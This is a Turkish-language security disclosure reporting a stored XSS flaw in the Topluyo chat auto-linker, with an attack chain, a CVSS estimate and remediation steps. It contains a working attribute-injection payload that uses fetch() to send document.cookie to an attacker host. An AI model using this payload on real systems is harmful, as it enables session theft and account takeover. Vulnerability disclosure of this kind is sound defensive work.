Stored XSS via Attribute Injection

Topluyo – Sunucu Kanal Sohbet Alanı

---

1. Özet

Topluyo platformunda sunucu kanallarındaki sohbet alanında `https://` ile başlayan kullanıcı girdileri otomatik olarak `<a>` etiketi içerisine yerleştirilmektedir.

Girdi işleme sırasında < ve > karakterleri encode edilmesine rağmen `"` (çift tırnak) karakterine output encoding uygulanmamaktadır.

Bu durum attribute injection'a ve kalıcı (stored) XSS zafiyetine yol açmaktadır.

Authentication cookie üzerinde HttpOnly flag bulunmadığı için saldırgan `document.cookie` üzerinden oturum bilgilerini okuyabilmektedir. Bu durum doğrudan session hijacking ile sonuçlanmaktadır.

---

2. Etkilenen Bileşenler

- Sunucu kanalları sohbet alanı
- Otomatik link oluşturma (auto-linker) mekanizması
- Authentication cookie yapılandırması

---

3. Teknik Detay

3.1 Sistem Davranışı

Kullanıcı girdisi:

```
https://site.com
```

Sistem tarafından şu şekilde render edilmektedir:

```
<a href="https://site.com">https://site.com</a>
```

Ancak çift tırnak karakteri encode edilmediği için aşağıdaki payload çalışmaktadır:

```
https://site.com" onmouseover="fetch('https://site.com/'+document.cookie)
```

Render edilen çıktı:

```
<a href="https://site.com"
onmouseover="fetch('https://attacker.com/'+document.cookie)">
```

Bu durumda saldırgan mevcut attribute context’ten çıkarak yeni bir HTML attribute enjekte edebilmektedir.

Payload veritabanına kaydedildiği için kalıcıdır ve her render edildiğinde tekrar çalışmaktadır.

---

4. Zafiyet Türü

- Stored XSS (Persistent)
- Attribute Injection
- Improper Output Encoding
- CWE-79

---

5. Saldırı Zinciri

1. Saldırgan payload içeren mesaj gönderir.
2. Mesaj veritabanına kaydedilir.
3. Mesaj her görüntülendiğinde JavaScript kodu çalışır.
4. HttpOnly flag bulunmadığı için `document.cookie` okunabilir.
5. Session bilgisi saldırgana iletilir.
6. Saldırgan çalınan session ile kullanıcı hesabına erişim sağlar.

Eğer mesaj bir yönetici tarafından görüntülenirse, yönetici hesabının ele geçirilmesi mümkündür.

---

6. Risk Değerlendirmesi (CVSS 3.1 Tahmini)

- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: Low

Tahmini Skor: 9.6 (Critical)

7. Etki

- Kullanıcı oturumlarının ele geçirilmesi
- Yönetici hesabının ele geçirilmesi
- Hesap devralma (Account Takeover)
- Platform genelinde güven kaybı
- Persistent olduğu için kalıcı saldırı yüzeyi oluşması

---

8. Önerilen Çözüm

1. Attribute context’e uygun output encoding uygulanmalıdır:
    - `"` → `&quot;`
    - `'` → `&#x27;`
    - `&` → `&`
2. Otomatik link oluşturma mekanizması güvenli URL parser ile yeniden ele alınmalıdır.
3. Authentication cookie aşağıdaki şekilde yapılandırılmalıdır:
    - HttpOnly = true
    - Secure = true
    - SameSite = Strict veya Lax
4. Content Security Policy (CSP) header uygulanmalıdır.

---

9. Test Notu

Bu güvenlik testi izole hesaplar üzerinden, kontrollü şekilde gerçekleştirilmiştir. Üretim verileri zarar görmemiştir.